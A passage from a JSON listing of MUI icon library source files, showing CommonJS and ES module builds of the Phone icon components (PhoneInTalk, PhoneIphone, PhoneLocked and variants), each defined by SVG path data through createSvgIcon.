1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 11l5-5-5-5v3h-4v4h4z\"\n}, \"1\")], 'PhoneForwardedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneForwardedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.2 18.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45zM6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1M5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79M19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45zM18 11l5-5-5-5v3h-4v4h4z\"\n}, \"1\")], 'PhoneForwardedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalk.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3z\"\n}), 'PhoneInTalk');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalk.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.5c-1.25 0-2.45-.2-3.57-.57-.35-.11-.74-.03-1.02.24l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3z\"\n}), 'PhoneInTalk');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\"\n}), 'PhoneInTalkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\"\n}), 'PhoneInTalkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.88 5.05c3.18.4 5.67 2.89 6.07 6.07.06.51.49.88.99.88.04 0 .08 0 .12-.01.55-.07.94-.57.87-1.12-.51-4.09-3.72-7.3-7.81-7.81-.55-.06-1.05.33-1.11.88-.07.55.32 1.05.87 1.11zm.38 2.11c-.53-.14-1.08.18-1.22.72s.18 1.08.72 1.22c1.05.27 1.87 1.09 2.15 2.15.12.45.52.75.97.75.08 0 .17-.01.25-.03.53-.14.85-.69.72-1.22-.47-1.77-1.84-3.14-3.59-3.59zm5.97 8.1-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98z\"\n}), 'PhoneInTalkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkRounded.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.88 5.05c3.18.4 5.67 2.89 6.07 6.07.06.51.49.88.99.88.04 0 .08 0 .12-.01.55-.07.94-.57.87-1.12-.51-4.09-3.72-7.3-7.81-7.81-.55-.06-1.05.33-1.11.88-.07.55.32 1.05.87 1.11zm.38 2.11c-.53-.14-1.08.18-1.22.72s.18 1.08.72 1.22c1.05.27 1.87 1.09 2.15 2.15.12.45.52.75.97.75.08 0 .17-.01.25-.03.53-.14.85-.69.72-1.22-.47-1.77-1.84-3.14-3.59-3.59zm5.97 8.1-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98z\"\n}), 'PhoneInTalkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkSharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm-1.79 5.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61-2.52 2.52z\"\n}), 'PhoneInTalkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkSharp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm-4 0h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm-1.79 5.37c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97v-5.51l-5.27-.61-2.52 2.52z\"\n}), 'PhoneInTalkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58zm8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45l-1.2 1.19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\"\n}, \"1\")], 'PhoneInTalkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneInTalkTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5h-1.5c.09 1.32.34 2.58.75 3.79l1.2-1.21c-.24-.83-.39-1.7-.45-2.58zm8.66 13.21c1.21.41 2.48.67 3.8.76v-1.5c-.88-.07-1.75-.22-2.6-.45l-1.2 1.19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12h2c0-2.76-2.24-5-5-5v2c1.66 0 3 1.34 3 3zm4 0h2c0-4.97-4.03-9-9-9v2c3.87 0 7 3.13 7 7zm1 3.5c-1.25 0-2.45-.2-3.57-.57-.1-.03-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.44-5.15-3.75-6.59-6.59l2.2-2.21c.28-.26.36-.65.25-1C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.5c0-.55-.45-1-1-1zM5.03 5h1.5c.07.88.22 1.75.45 2.58l-1.2 1.21c-.4-1.21-.66-2.47-.75-3.79zM19 18.97c-1.32-.09-2.6-.35-3.8-.76l1.2-1.2c.85.24 1.72.39 2.6.45v1.51z\"\n}, \"1\")], 'PhoneInTalkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1H5v22h13zm-6.5 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1H5v22h13zm-6.5 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}), 'PhoneIphoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 4h9v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}, \"1\")], 'PhoneIphoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneIphoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 4h9v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 1h-8C6.12 1 5 2.12 5 3.5v17C5 21.88 6.12 23 7.5 23h8c1.38 0 2.5-1.12 2.5-2.5v-17C18 2.12 16.88 1 15.5 1m-4 21c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5-4H7V4h9z\"\n}, \"1\")], 'PhoneIphoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLocked.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"1\")], 'PhoneLocked');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLocked.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"1\")], 'PhoneLocked');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"1\")], 'PhoneLockedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-1.1-.9-2-2-2s-2 .9-2 2v1h-1v5h6V5zm-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"1\")], 'PhoneLockedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5v-.89c0-1-.68-1.92-1.66-2.08C17.08 1.82 16 2.79 16 4v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 0h-2V4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.63 14.4-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.56.03 1.03-.44 1.03-1v-4.15c0-.48-.34-.89-.8-.98l-3.67-.73c-.33-.07-.67.03-.9.26\"\n}, \"1\")], 'PhoneLockedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhoneLockedRounded.mjs",
